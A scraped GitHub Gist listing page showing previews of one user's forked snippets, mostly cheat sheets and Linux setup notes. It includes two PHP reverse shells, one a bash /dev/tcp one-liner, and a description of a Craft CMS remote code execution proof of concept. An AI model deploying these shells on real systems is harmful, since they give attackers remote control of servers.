Skip to content

Instantly share code, notes, and snippets.

@mano8
mano8 / reverse-shell.php
Created April 22, 2024 16:44 — forked from noobpk/reverse-shell.php
Php Reverse Shell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.12'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
@mano8
mano8 / CreateAutomationPSCredential.ps1
Created April 14, 2024 22:28 — forked from bdanse/CreateAutomationPSCredential.ps1
Example for creating Automation PSCredential
#Create a secure string for the password
$SecureStringPassword = ConvertTo-SecureString "SuperSecretPassw0rd" -AsPlainText -Force
#Create a PSCredential object
$PSCredential = New-Object System.Management.Automation.PSCredential('domain\myusername', $SecureStringPassword)
#Write PSCredential object to an Azure Automation account
New-AzureRmAutomationCredential -Name 'MyCredentialAssetName' -Value $PSCredential
#Retrieve PSCredential object from within a runbook of DSC compilation job
@mano8
mano8 / shell.php
Created April 13, 2024 16:41 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@mano8
mano8 / CVE-2023-41892-POC.md
Created March 12, 2024 12:28 — forked from to016/CVE-2023-41892-POC.md
CVE-2023-41892 (Craft CMS Remote Code Execution) - POC

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

Django Cheat Sheet Commands

Django shell:

Project

Create project:

Create App:
python manage.py startapp app_name

@mano8
mano8 / repo-reset.md
Created May 24, 2023 08:03 — forked from heiswayi/repo-reset.md
GitHub - Delete commits history with git commands

First Method

Deleting the .git folder may cause problems in our git repository. If we want to delete all of our commits history, but keep the code in its current state, try this:

# Check out to a temporary branch:
git checkout --orphan TEMP_BRANCH

# Add all the files:
git add -A

SetupTools Cheat Sheet

Create package from source

$ python setup.py sdist bdist_wheel

Check package

$ twine check dist/*

Upload pip package

$ twine upload dist/*

pip Cheat Sheet

This is a forked version from opensource.com By Moshe Zadka

@mano8
mano8 / linux ssh.md
Last active May 25, 2024 11:02
Installation of ssh server on linux

Install ssh-server

# sudo apt-get update # sudo apt-get install openssh-server

See status: # sudo systemctl status ssh

Backup the ssh configuration: # sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config_backup

Emoncms installlation (debian11/nginx)

Above is the nginx configuration to run emoncms on debian 11 with php7.4.

Prepare emoncms installation

Create the above paths needed from emoncms :

 # sudo mkdir /var/opt/emoncms/
 # sudo mkdir /var/opt/emoncms/phptimeseries/
 # sudo mkdir /var/opt/emoncms/phpfina/

Installation guide for debian server running vemonitor.

For this, i use an old asus eee pc 1000H laptop, see here for more info.

Install of debian 11

Downlad debian from debian.org the latest stable version for 32 bits systems. Use balenaEtcher to create a bootable usb. To boot from external media you have to press Esc during the BIOS boot splash screen and select the right installation medium. Complete the installation and upgrade the system : Pass to root user : $ su -